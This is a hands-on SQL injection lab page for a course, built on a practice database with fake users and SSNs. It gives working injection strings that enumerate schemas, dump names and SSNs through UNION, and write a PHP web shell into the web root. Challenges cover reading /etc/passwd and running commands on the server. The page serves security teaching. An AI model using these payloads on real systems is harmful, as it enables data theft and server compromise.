Introduction to SQL Injection: Hands-On

1. Reset the Database Before Using It

2. SQL Database Structure

The database named sqlol contains the two tables shown below.

Table: users

Field: usernameField: isadmin
Herp Derper1
SlapdeBack LovedeFace1
Wengdack Slobdegoob0
Chunk MacRunfast0
Peter Weiner0
    

Table: ssn

Field: nameField: ssn
Herp Derper111-11-1111
SlapdeBack LovedeFace222-22-2222
Wengdack Slobdegoob333-33-3333
Chunk MacRunfast444-44-4444
Peter Weiner555-55-5555

Important Terms

Database -- an object that contains Tables
Table -- an object that contains Fields
Field -- an item of data, such as a name or ssn

3. SQL SELECT Queries

SQL uses easily-understood commands like SELECT, UPDATE, and DELETE. Try the queries below to see how SELECT works.

Query:      

SELECT Queries to Try

SELECT * FROM sqlol.users Get all fields from the table "sql.users"
SELECT * FROM sqlol.ssn Get all fields from the table "sql.ssn"
SELECT name FROM sqlol.ssn Get field "name" from the table "sql.ssn"
SELECT ssn as name FROM sqlol.ssn Get field "ssn" from the table "sql.ssn" and change its field name to "name"
SELECT * FROM sqlol.ssn WHERE name='Herp Derper' Get all fields from the table "sql.ssn" with the "name" field equal to "Herp Derper"
SELECT * FROM sqlol.ssn WHERE name='Fred' Get all fields from the table "sql.ssn" with the "name" field equal to "Fred"
SELECT * FROM sqlol.ssn WHERE name='Fred' OR 'a'='a' Get all fields from the table "sql.ssn" (the condition is always true)
SELECT username FROM sqlol.users UNION SELECT ssn AS username FROM sqlol.ssn Combine data from two tables
SELECT "Literal text" into outfile '/var/www/html/test1.htm' Put literal text into a file (you'll need to change the filename to something that hasn't been used yet) ty @faisal_hfr

4. Search for Usernames

Websites don't usually let you type in complete SQL queries, but only fields like usernames and passwords.

Attackers can sneak SQL commands in by using special characters like apostrophes.

Try the usernames below in this form to see how it works.

Name:      

Performs This Query:

SELECT username FROM users WHERE username LIKE 'name'

Usernames to Try

Find User

Herp Derper

Detect Vulnerability

Mike O'Neil

Find Database Names

' UNION SELECT table_schema AS username FROM information_schema.tables WHERE 'a'='a

Find Tables in sqlol Database

' UNION SELECT table_name AS username FROM information_schema.tables WHERE table_schema='sqlol

Find Columns within ssl Table

' UNION SELECT column_name AS username FROM information_schema.columns WHERE table_name='ssn' AND table_schema='sqlol

Dump Names and SSNs

' UNION SELECT concat(name, ':', ssn) AS username FROM sqlol.ssn WHERE 'a'='a

Upload a PHP Shell

' union select "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/wastc.php' #

5. Safer Search with Input Validation

The simplest defense is to encode special characters.

This stops many common SQL injection attacks with a single line of code.

Try the usernames above in this form:

Name:      

Performs This Query:

SELECT username FROM users WHERE username LIKE 'name'

Uses mysql_real_escape_string to Encode Special Characters

6. Challenges

Use the form in item 4 above to inject usernames that do the things below. For hints, see the "Sources" at the bottom of the page.


Challenge 1: Display names for administrators only, as shown below:


Challenge 2: Create a file on my server with your name as a filename, as shown below.


Challenge 3: Display the /etc/passwd file in a browser, as shown below:


Challenge 4: Put your name into these two files:

/var/www/html/SQLchal/winners

/var/www/html/SQLchal/updatenow

Within a minute, your name will appear on the Winners page as shown below:


Challenge 5: Use a different server, without the option to use raw SELECT queries.

Before starting, click the button below to reset the database:

Now use this name search form:

Name:      
Put your name into these two files on that server:
/tmp/SQLchal/winners

/tmp/SQLchal/updatenow

Within a minute, your name will appear on the Winners page as shown below:


Challenge 6: Run this shell command on the server:

/usr/bin/SQLchal6 YOURNAME
Your name will appear on the Winners page as shown below:

More Projects

SQL Injection with SQLol

Exploiting SQLi with Havij and Input Filtering

sqlmap

Fixing MySQL with Parameterized Queries

Thanks to

@Faisal_HFR for using SELECT "Literal text" into outfile, a much better way to get onto the winers page than I used.

@bcrook88 for injecting JavaScript onto the winners page twice, so I added input filtering and more strict apparmor rules to MySQL to stop it.

@bcrook88 for uploading a PHP shell that let him execute arbitrary bash commands, inspiring challenge 6.

Sources

Based on SQLol from SpiderLabs.

SQL Injection Modify / Insert Table Values

Hackproofing MySQL (from 2004)

Hackproofing MySQL (alternative download link)

MySQL SUBSTRING() function

MySQL - Concatenation

Creating Metasploit Payloads

Exploiting PHP Vulnerabilities

Useful SQL Injections

Getting around "su : must be run from a terminal"


Posted on or around 1-13-16 by Sam Bowne
Last modified 1-14-16 6:51 pm
Error in challenge 5 instructions fixed 1-14-16 9:34 pm ty @Ciccio_87XX
Challenge 6 added 1-15-16 1 pm ty @bcrook88
Winners page moved to enforce SUID security 1-17-16 4:28 pm
Link to Useful SQL Injections added 4-1-16
Description of challenge 1 fixed 4-12-16
PHP shell added & last WINNERS URL fixed 6-27-16